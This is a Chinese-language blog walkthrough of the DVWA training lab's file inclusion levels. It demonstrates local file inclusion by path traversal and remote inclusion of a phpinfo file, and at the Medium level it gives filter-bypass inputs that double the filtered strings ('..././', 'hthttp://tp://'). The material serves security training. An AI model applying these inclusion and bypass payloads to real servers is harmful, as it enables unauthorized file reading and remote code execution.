DVWA简单对文件包含学习
Low
打开靶场

这里有三个php文件,依此点击看看
file1.php

file2.php

file3.php

这里呢自己在根目录设置一个flag

这里直接去访问一下看看
首先因为这个是搭建在本地的可以直接LFI本地文件包含,直接进行目录穿越

可以看见flag是在这里显示出来,表明这个漏洞形成了LFI本地文件包含
可以再尝试一下RFI远程文件包含这里就直接包含一下百度这个东西了
不过这里要提醒·一下远程文件包含比如我要执行phpinfo.php在远程服务器是需要更改后缀为其它后缀,比如txt
不能是相同的后缀
实际上是所需的远程文件后缀不能与目标服务器的语言相同,如目标服务器解析PHP代码,则远程文件后缀不能为.php。
如果使用同一种语言,最后得到的实际上是远程服务器的phpinfo

这里是可以直接访问到baidu的
这里使用之前搭建的域名来进行一个远程文件包含因为我IP固定了两个两个域名
这里直接使用域名比较方便

这里先创建一个1.txt里面是phpinfo的代码
<?php
phpinfo();
?>
直接包含

这里也是对了
我的服务器版本的php是8.4
DVWA这个靶场我搭建的php版本是7.4
这里这个难度也是做完了,主要就是了解一下LFI和RFI
Medium
打开靶场

也是一样的界面,依此打开看看
file1.php

file2.php

file3.php

也是一样的没啥变化
直接先访问下老人家自己写的flag

这里也是访问失败了
看下网页源代码什么情况

可以看见这里进行了简单的过滤
将http://, https://,../,..\\替换为空格,这里看下双写能不能绕过
也是直接成功了
..././..././flag.txt

这里也就简单的解释一下这个东西,就是把要替换的内容替换为空让替换后拼接的内容为自己想要的就行了
这里也是再RFI来一手
hthttp://tp://love.crook.yn.cn/1.txt
也是直接成功了

high

这里都是一样的就不点了看了
这里是选择直接看下源代码

解读一下
这里要重点关注一个函数
fnmatch()表示根据指定的模式或者文件名或字符串
这里就是表示这个变量的开头必须是file,这里就是要使用file协议来读取文件


浙公网安备 33010602011771号